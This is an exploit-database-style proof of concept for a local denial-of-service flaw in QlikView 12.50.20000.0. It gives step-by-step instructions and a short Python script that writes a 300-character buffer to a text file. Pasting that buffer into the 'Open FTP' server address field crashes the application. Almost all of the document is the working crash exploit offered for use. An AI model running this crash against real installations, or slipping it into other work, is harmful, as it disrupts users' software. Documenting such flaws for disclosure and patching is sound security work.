# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)# Discovery by: Luis Martinez# Discovery Date: 2020-08-03# Vendor Homepage: https://www.qlik.com# Software Link: https://www.qlik.com/us/trial/qlik-sense-business# Tested Version: 12.50.20000.0# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to Produce the Crash:# 1.- Run python code: QlikView_12.50.20000.0.py# 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard# 3.- Open "QlikView 12"# 4.- File -> "Open FTP ..."# 5.- Paste ClipBoard on "FTP Server Address"# 6.- Connect# 7.- Crashed#!/usr/bin/env python
buffer = "\x41"* 300
f = open ("QlikView_12.50.20000.0.txt","w")
f.write(buffer)
f.close()